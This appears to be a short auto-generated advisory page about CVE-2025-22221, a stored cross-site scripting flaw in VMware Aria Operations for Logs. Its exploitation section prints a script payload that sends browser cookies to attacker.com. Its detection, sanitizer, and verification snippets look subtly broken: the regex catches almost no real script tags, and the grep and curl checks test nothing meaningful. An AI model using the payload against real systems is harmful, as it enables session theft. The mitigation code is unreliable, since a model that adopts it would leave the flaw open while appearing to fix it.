VMware Aria Operations for Logs, Stored Cross-Site Scripting (XSS), CVE-2025-22221 (Critical)

Listen to this Post

How CVE-2025-22221 Works

VMware Aria Operations for Logs is vulnerable to stored cross-site scripting (XSS) due to insufficient input sanitization in the Agent Configuration delete action. An attacker with admin privileges injects a malicious script payload into the configuration. When another administrator performs a delete operation, the script executes in their browser session, potentially leading to session hijacking, data theft, or privilege escalation. The attack persists because the payload is stored server-side and triggers upon interaction with the compromised component.

DailyCVE Form:

Platform: VMware Aria Operations
Version: Logs (unspecified)
Vulnerability: Stored XSS
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation:

1. Payload Injection:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

2. Trigger: Delete action in Agent Configuration.

Detection:

grep -r "unsanitized" /opt/vmware/logs/webui/

Mitigation:

1. Input Sanitization:

function sanitize(input) {
return input.replace(/<script.?>.?<\/script>/gi, '');
}

2. Patch: Apply VMware security update for Aria Operations for Logs.

3. WAF Rule:

location /logs/ {
modsecurity_rules 'SecRule ARGS "@rx <script" "id:1001,deny,status:403"';
}

Verification:

curl -X GET "https://target/logs/config" | grep -q "script" && echo "Vulnerable"

References:

  • VMware Advisory: VMSA-2025-0001
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • NIST NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-22221

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top